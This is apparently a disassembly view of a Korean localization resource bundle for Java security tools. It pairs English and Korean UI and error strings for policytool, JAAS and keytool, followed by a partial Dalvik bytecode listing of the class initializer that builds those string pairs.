                                                                              • \uc0ac\uc6a9 \uad8c\ud55c:
                                                                              • Principal Type:
                                                                              • Principal \uc720\ud615:
                                                                              • Principal Name:
                                                                              • Principal \uc774\ub984:
                                                                              • Target Name:
                                                                              • \ub300\uc0c1 \uc774\ub984:
                                                                              • Actions:
                                                                              • \uc791\uc5c5:
                                                                              • OK to overwrite existing file filename?
                                                                              • \uae30\uc874 \ud30c\uc77c {0}\uc744(\ub97c) \uacb9\uccd0\uc4f0\uc2dc\uaca0\uc2b5\ub2c8\uae4c?
                                                                              • Cancel
                                                                              • \ucde8\uc18c
                                                                              • CodeBase:
                                                                              • SignedBy:
                                                                              • Add Principal
                                                                              • Principal \ucd94\uac00
                                                                              • Edit Principal
                                                                              • Principal \ud3b8\uc9d1
                                                                              • Remove Principal
                                                                              • Principal \uc81c\uac70
                                                                              • Principals:
                                                                              • Add Permission
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c \ucd94\uac00
                                                                              • Edit Permission
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c \ud3b8\uc9d1
                                                                              • Remove Permission
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c \uc81c\uac70
                                                                              • Done
                                                                              • \uc644\ub8cc
                                                                              • KeyStore URL:
                                                                              • \ud0a4 \uc800\uc7a5\uc18c URL:
                                                                              • KeyStore Type:
                                                                              • \ud0a4 \uc800\uc7a5\uc18c \uc720\ud615:
                                                                              • KeyStore Provider:
                                                                              • \ud0a4 \uc800\uc7a5\uc18c \uacf5\uae09\uc790:
                                                                              • KeyStore Password URL:
                                                                              • \ud0a4 \uc800\uc7a5\uc18c \ube44\ubc00\ubc88\ud638 URL:
                                                                              • Principals
                                                                              • Edit Principal:
                                                                              • Principal \ud3b8\uc9d1:
                                                                              • Add New Principal:
                                                                              • \uc0c8 Principal \ucd94\uac00:
                                                                              • Permissions
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c
                                                                              • Edit Permission:
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c \ud3b8\uc9d1:
                                                                              • Add New Permission:
                                                                              • \uc0c8 \uc0ac\uc6a9 \uad8c\ud55c \ucd94\uac00:
                                                                              • Signed By:
                                                                              • \uc11c\uba85\uc790:
                                                                              • Cannot Specify Principal with a Wildcard Class without a Wildcard Name
                                                                              • \uc640\uc77c\ub4dc\uce74\ub4dc \uc774\ub984 \uc5c6\uc774 \uc640\uc77c\ub4dc\uce74\ub4dc \ud074\ub798\uc2a4\ub97c \uac00\uc9c4 Principal\uc744 \uc9c0\uc815\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Cannot Specify Principal without a Name
                                                                              • \uc774\ub984 \uc5c6\uc774 Principal\uc744 \uc9c0\uc815\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Permission and Target Name must have a value
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c\uacfc \ub300\uc0c1 \uc774\ub984\uc740 \uac12\uc744 \uac00\uc838\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Remove this Policy Entry?
                                                                              • \uc774 \uc815\ucc45 \ud56d\ubaa9\uc744 \uc81c\uac70\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c?
                                                                              • Overwrite File
                                                                              • \ud30c\uc77c \uacb9\uccd0\uc4f0\uae30
                                                                              • Policy successfully written to filename
                                                                              • \uc815\ucc45\uc744 \ud30c\uc77c \uc774\ub984\uc5d0 \uc131\uacf5\uc801\uc73c\ub85c \uae30\ub85d\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • null filename
                                                                              • \ud30c\uc77c \uc774\ub984\uc774 \uc5c6\uc74c
                                                                              • Save changes?
                                                                              • \ubcc0\uacbd \uc0ac\ud56d\uc744 \uc800\uc7a5\ud558\uc2dc\uaca0\uc2b5\ub2c8\uae4c?
                                                                              • Yes
                                                                              • No
                                                                              • Policy Entry
                                                                              • \uc815\ucc45 \ud56d\ubaa9
                                                                              • Save Changes
                                                                              • \ubcc0\uacbd \uc0ac\ud56d \uc800\uc7a5
                                                                              • No Policy Entry selected
                                                                              • \uc815\ucc45 \ud56d\ubaa9\uc774 \uc120\ud0dd\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • Unable to open KeyStore: ex.toString()
                                                                              • \ud0a4 \uc800\uc7a5\uc18c\ub97c \uc5f4 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4. {0}
                                                                              • No principal selected
                                                                              • Principal\uc744 \uc120\ud0dd\ud558\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • No permission selected
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c\uc744 \uc120\ud0dd\ud558\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • name
                                                                              • \uc774\ub984
                                                                              • configuration type
                                                                              • \uad6c\uc131 \uc720\ud615
                                                                              • environment variable name
                                                                              • \ud658\uacbd \ubcc0\uc218 \uc774\ub984
                                                                              • library name
                                                                              • \ub77c\uc774\ube0c\ub7ec\ub9ac \uc774\ub984
                                                                              • package name
                                                                              • \ud328\ud0a4\uc9c0 \uc774\ub984
                                                                              • policy type
                                                                              • \uc815\ucc45 \uc720\ud615
                                                                              • property name
                                                                              • \ud2b9\uc131 \uc774\ub984
                                                                              • provider name
                                                                              • \uacf5\uae09\uc790 \uc774\ub984
                                                                              • Principal List
                                                                              • \uae30\ubcf8 \ubaa9\ub85d
                                                                              • Permission List
                                                                              • \uad8c\ud55c \ubaa9\ub85d
                                                                              • Code Base
                                                                              • \ucf54\ub4dc \ubca0\uc774\uc2a4
                                                                              • KeyStore U R L:
                                                                              • \ud0a4 \uc800\uc7a5\uc18c U R L:
                                                                              • KeyStore Password U R L:
                                                                              • \ud0a4 \uc800\uc7a5\uc18c \ube44\ubc00\ubc88\ud638 U R L:
                                                                              • invalid null input(s)
                                                                              • \uc798\ubabb\ub41c null \uc785\ub825
                                                                              • actions can only be \'read\'
                                                                              • \uc791\uc5c5\uc740 \'\uc77d\uae30\' \uc804\uc6a9\uc785\ub2c8\ub2e4.
                                                                              • permission name [name] syntax invalid:
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c \uc774\ub984 [{0}] \uad6c\ubb38\uc774 \uc798\ubabb\ub418\uc5c8\uc2b5\ub2c8\ub2e4:
                                                                              • Credential Class not followed by a Principal Class and Name
                                                                              • Principal \ud074\ub798\uc2a4 \ubc0f \uc774\ub984 \ub2e4\uc74c\uc5d0 \uc778\uc99d\uc11c \ud074\ub798\uc2a4\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Principal Class not followed by a Principal Name
                                                                              • Principal \uc774\ub984 \ub2e4\uc74c\uc5d0 Principal \ud074\ub798\uc2a4\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • Principal Name must be surrounded by quotes
                                                                              • Principal \uc774\ub984\uc740 \uc778\uc6a9 \ubd80\ud638\ub85c \ubb36\uc5b4\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Principal Name missing end quote
                                                                              • Principal \uc774\ub984\uc5d0 \ub2eb\ub294 \uc778\uc6a9 \ubd80\ud638\uac00 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value
                                                                              • PrivateCredentialPermission Principal \ud074\ub798\uc2a4\ub294 Principal \uc774\ub984\uc774 \uc640\uc77c\ub4dc\uce74\ub4dc(*) \uac12\uc774 \uc544\ub2cc \uacbd\uc6b0 \uc640\uc77c\ub4dc\uce74\ub4dc(*) \uac12\uc774 \ub420 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name
                                                                              • CredOwner:\n\tPrincipal \ud074\ub798\uc2a4 = \ud074\ub798\uc2a4\n\tPrincipal \uc774\ub984 = \uc774\ub984
                                                                              • provided null name
                                                                              • null \uc774\ub984\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • provided null keyword map
                                                                              • null \ud0a4\uc6cc\ub4dc \ub9f5\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • provided null OID map
                                                                              • null OID \ub9f5\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • invalid null AccessControlContext provided
                                                                              • \uc798\ubabb\ub41c null AccessControlContext\ub97c \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • invalid null action provided
                                                                              • \uc798\ubabb\ub41c null \uc791\uc5c5\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • invalid null Class provided
                                                                              • \uc798\ubabb\ub41c null \ud074\ub798\uc2a4\ub97c \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • Subject:\n
                                                                              • \uc81c\ubaa9:\n
                                                                              • \tPrincipal:
                                                                              • \tPublic Credential:
                                                                              • \t\uacf5\uac1c \uc778\uc99d\uc11c:
                                                                              • \tPrivate Credentials inaccessible\n
                                                                              • \t\uac1c\uc778 \uc778\uc99d\uc11c\uc5d0 \uc561\uc138\uc2a4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.\n
                                                                              • \tPrivate Credential:
                                                                              • \t\uac1c\uc778 \uc778\uc99d\uc11c:
                                                                              • \tPrivate Credential inaccessible\n
                                                                              • Subject is read-only
                                                                              • \uc81c\ubaa9\uc774 \uc77d\uae30 \uc804\uc6a9\uc785\ub2c8\ub2e4.
                                                                              • attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set
                                                                              • java.security.Principal\uc758 \uc778\uc2a4\ud134\uc2a4\uac00 \uc544\ub2cc \uac1d\uccb4\ub97c \uc81c\ubaa9\uc758 Principal \uc138\ud2b8\uc5d0 \ucd94\uac00\ud558\ub824\uace0 \uc2dc\ub3c4\ud558\ub294 \uc911
                                                                              • attempting to add an object which is not an instance of class
                                                                              • \ud074\ub798\uc2a4\uc758 \uc778\uc2a4\ud134\uc2a4\uac00 \uc544\ub2cc \uac1d\uccb4\ub97c \ucd94\uac00\ud558\ub824\uace0 \uc2dc\ub3c4\ud558\ub294 \uc911
                                                                              • LoginModuleControlFlag:
                                                                              • Invalid null input: name
                                                                              • \uc798\ubabb\ub41c null \uc785\ub825: \uc774\ub984
                                                                              • No LoginModules configured for name
                                                                              • {0}\uc5d0 \ub300\ud574 LoginModules\uac00 \uad6c\uc131\ub418\uc9c0 \uc54a\uc558\uc74c
                                                                              • invalid null Subject provided
                                                                              • \uc798\ubabb\ub41c null \uc81c\ubaa9\uc744 \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • invalid null CallbackHandler provided
                                                                              • \uc798\ubabb\ub41c null CallbackHandler\ub97c \uc81c\uacf5\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • null subject - logout called before login
                                                                              • null \uc81c\ubaa9 - \ub85c\uadf8\uc778 \uc804\uc5d0 \ub85c\uadf8\uc544\uc6c3\uc744 \ud638\ucd9c\ud588\uc2b5\ub2c8\ub2e4.
                                                                              • unable to instantiate LoginModule, module, because it does not provide a no-argument constructor
                                                                              • \uc778\uc218\uac00 \uc5c6\ub294 \uad6c\uc131\uc790\ub97c \uc81c\uacf5\ud558\uc9c0 \uc54a\uae30 \ub54c\ubb38\uc5d0 LoginModule, {0}\uc744(\ub97c) \uc778\uc2a4\ud134\uc2a4\ud654\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • unable to instantiate LoginModule
                                                                              • LoginModule\uc744 \uc778\uc2a4\ud134\uc2a4\ud654\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • unable to instantiate LoginModule:
                                                                              • LoginModule\uc744 \uc778\uc2a4\ud134\uc2a4\ud654\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • unable to find LoginModule class:
                                                                              • LoginModule \ud074\ub798\uc2a4\ub97c \ucc3e\uc744 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4:
                                                                              • unable to access LoginModule:
                                                                              • LoginModule\uc5d0 \uc561\uc138\uc2a4\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4:
                                                                              • Login Failure: all modules ignored
                                                                              • \ub85c\uadf8\uc778 \uc2e4\ud328: \ubaa8\ub4e0 \ubaa8\ub4c8\uc774 \ubb34\uc2dc\ub418\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • java.security.policy: error parsing policy:\n\tmessage
                                                                              • java.security.policy: {0}\uc744(\ub97c) \uad6c\ubb38 \ubd84\uc11d\ud558\ub294 \uc911 \uc624\ub958 \ubc1c\uc0dd:\n\t{1}
                                                                              • java.security.policy: error adding Permission, perm:\n\tmessage
                                                                              • java.security.policy: {0} \uc0ac\uc6a9 \uad8c\ud55c\uc744 \ucd94\uac00\ud558\ub294 \uc911 \uc624\ub958 \ubc1c\uc0dd:\n\t{1}
                                                                              • java.security.policy: error adding Entry:\n\tmessage
                                                                              • java.security.policy: \ud56d\ubaa9\uc744 \ucd94\uac00\ud558\ub294 \uc911 \uc624\ub958 \ubc1c\uc0dd:\n\t{0}
                                                                              • alias name not provided (pe.name)
                                                                              • \ubcc4\uce6d\uc774 \uc81c\uacf5\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4({0}).
                                                                              • unable to perform substitution on alias, suffix
                                                                              • \ubcc4\uce6d{0}\uc5d0\uc11c \ub300\uccb4 \uc218\ud589\uc774 \ubd88\uac00\ub2a5\ud569\ub2c8\ub2e4.
                                                                              • substitution value, prefix, unsupported
                                                                              • \ub300\uccb4 \uac12 {0}\uc774(\uac00) \uc9c0\uc6d0\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.
                                                                              • (
                                                                              • )
                                                                              • type can\'t be null
                                                                              • \uc720\ud615\uc740 null\uc77c \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • keystorePasswordURL can not be specified without also specifying keystore
                                                                              • Keystore \uc9c0\uc815 \uc5c6\uc774 keystorePasswordURL\uc744 \uc9c0\uc815\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • expected keystore type
                                                                              • keystore \uc720\ud615\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4.
                                                                              • expected keystore provider
                                                                              • keystore \uacf5\uae09\uc790\uac00 \uc608\uc0c1\ub429\ub2c8\ub2e4.
                                                                              • multiple Codebase expressions
                                                                              • \ubcf5\uc218 Codebase \ud45c\ud604\uc2dd
                                                                              • multiple SignedBy expressions
                                                                              • \ubcf5\uc218 SignedBy \ud45c\ud604\uc2dd
                                                                              • SignedBy has empty alias
                                                                              • SignedBy\uc5d0 \ube44\uc5b4 \uc788\ub294 \ubcc4\uce6d\uc774 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • can not specify Principal with a wildcard class without a wildcard name
                                                                              • expected codeBase or SignedBy or Principal
                                                                              • codeBase, SignedBy \ub610\ub294 Principal\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4.
                                                                              • expected permission entry
                                                                              • \uc0ac\uc6a9 \uad8c\ud55c \ud56d\ubaa9\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4.
                                                                              • number
                                                                              • \ubc88\ud638
                                                                              • expected [expect], read [end of file]
                                                                              • [{0}]\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4. [EOF]\ub97c \uc77d\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • expected [;], read [end of file]
                                                                              • [;]\uc774 \uc608\uc0c1\ub429\ub2c8\ub2e4. [EOF]\ub97c \uc77d\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • line number: msg
                                                                              • \ud589 {0}: {1}
                                                                              • line number: expected [expect], found [actual]
                                                                              • \ud589 {0}: [{1}]\uc744(\ub97c) \uc608\uc0c1\ud588\ub294\ub370, [{2}]\uc774(\uac00) \ubc1c\uacac\ub418\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • null principalClass or principalName
                                                                              • principalClass \ub610\ub294 principalName\uc774 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              • PKCS11 Token [providerName] Password:
                                                                              • PKCS11 \ud1a0\ud070 [{0}] \uc554\ud638:
                                                                              • unable to instantiate Subject-based policy
                                                                              • \uc8fc\uc81c \uae30\ubc18 \uc815\ucc45\uc744 \uc778\uc2a4\ud134\uc2a4\ud654\ud560 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v6, 0x2
                                                                              2const/4 v5, 0x1
                                                                              3const/4 v4, 0x0
                                                                              4const/16 v0, 0x153
                                                                              5new-array v0, v0, [[Ljava/lang/Object;
                                                                              6new-array v1, v6, [Ljava/lang/Object;
                                                                              8const-string v2, " "
                                                                              9aput-object v2, v1, v4
                                                                              11const-string v2, " "
                                                                              12aput-object v2, v1, v5
                                                                              13aput-object v1, v0, v4
                                                                              14new-array v1, v6, [Ljava/lang/Object;
                                                                              16const-string v2, " "
                                                                              17aput-object v2, v1, v4
                                                                              19const-string v2, " "
                                                                              20aput-object v2, v1, v5
                                                                              21aput-object v1, v0, v5
                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "keytool \uc624\ub958: "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "\uc798\ubabb\ub41c \uc635\uc158: "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "keytool -help \uc0ac\uc6a9"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "\uba85\ub839 \uc635\uc158 {0}\uc5d0 \uc778\uc218\uac00 \ud544\uc694\ud569\ub2c8\ub2e4."
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "\uacbd\uace0:\t \ub2e4\ub978 \uc800\uc7a5\uc18c \ubc0f \ud0a4 \uc554\ud638\ub294 PKCS12 \ud0a4 \uc800\uc7a5\uc18c\uc5d0 \ub300\ud574 \uc9c0\uc6d0\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. \uc0ac\uc6a9\uc790\uac00 \uc9c0\uc815\ud55c {0} \uac12\uc744 \ubb34\uc2dc\ud569\ub2c8\ub2e4."
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "-storetype\uc774 {0}\uc778 \uacbd\uc6b0 -keystore\uac00 NONE\uc774\uc5b4\uc57c \ud568"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "\uc7ac\uc2dc\ub3c4 \ud69f\uc218\uac00 \ub108\ubb34 \ub9ce\uc544 \ud504\ub85c\uadf8\ub7a8\uc774 \uc885\ub8cc\ub418\uc5c8\uc2b5\ub2c8\ub2e4."
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "-storetype\uc774 {0}\uc778 \uacbd\uc6b0 -storepasswd \ubc0f -keypasswd \uba85\ub839\uc774 \uc9c0\uc6d0\ub418\uc9c0 \uc54a\uc74c"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "-storetype\uc774 PKCS12\uc778 \uacbd\uc6b0\uc5d0\ub294 -keypasswd \uba85\ub839\uc774 \uc9c0\uc6d0\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4."
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "-storetype\uc774 {0}\uc778 \uacbd\uc6b0 -keypass \ubc0f -new\ub97c \uc9c0\uc815\ud560 \uc218 \uc5c6\uc74c"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "-protected\uac00 \uc9c0\uc815\ub41c \uacbd\uc6b0 -storepass, -keypass \ubc0f -new\ub294 \uc9c0\uc815\ub418\uc9c0 \uc54a\uc544\uc57c \ud569\ub2c8\ub2e4."
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "-srcprotected\ub97c \uc9c0\uc815\ud55c \uacbd\uc6b0 -srcstorepass \ubc0f -srckeypass\ub97c \uc9c0\uc815\ud558\uba74 \uc548 \ub429\ub2c8\ub2e4."
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "\ud0a4 \uc800\uc7a5\uc18c\uac00 \uc554\ud638\ub85c \ubcf4\ud638\ub418\uc9c0 \uc54a\uc740 \uacbd\uc6b0 -storepass, -keypass \ubc0f -new\ub97c \uc9c0\uc815\ud558\uba74 \uc548 \ub428"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "\uc18c\uc2a4 \ud0a4 \uc800\uc7a5\uc18c\uac00 \uc554\ud638\ub85c \ubcf4\ud638\ub418\uc9c0 \uc54a\uc740 \uacbd\uc6b0 -srcstorepass \ubc0f -srckeypass\ub97c \uc9c0\uc815\ud558\uba74 \uc548 \ub428"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "\uc720\ud6a8\uc131\uc740 0\ubcf4\ub2e4 \ucee4\uc57c \ud569\ub2c8\ub2e4."
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, " {0}\uc740(\ub294) \uacf5\uae09\uc790\uac00 \uc544\ub2d9\ub2c8\ub2e4."
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "\uc0ac\uc6a9\ubc95 \uc624\ub958: \uba85\ub839\uc744 \uc785\ub825\ud558\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4."
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "\uc0ac\uc6a9\ubc95 \uc624\ub958\uc785\ub2c8\ub2e4. {0}\uc740(\ub294) \uc720\ud6a8\ud55c \uba85\ub839\uc774 \uc544\ub2d9\ub2c8\ub2e4."
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "\uc18c\uc2a4 \ud0a4 \uc800\uc7a5\uc18c \ud30c\uc77c\uc774 \uc788\uc9c0\ub9cc \ube44\uc5b4 \uc788\uc2b5\ub2c8\ub2e4. "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "-srckeystore\ub97c \uc9c0\uc815\ud558\uc2ed\uc2dc\uc624."
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "\'list\' \uba85\ub839\uc5d0 -v\uc640 -rfc\ub97c \ubaa8\ub450 \uc9c0\uc815\ud574\uc11c\ub294 \uc548 \ub429\ub2c8\ub2e4."
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "\ud0a4 \uc554\ud638\ub294 \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4."
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "\uc0c8 \uc554\ud638\ub294 \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4."
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
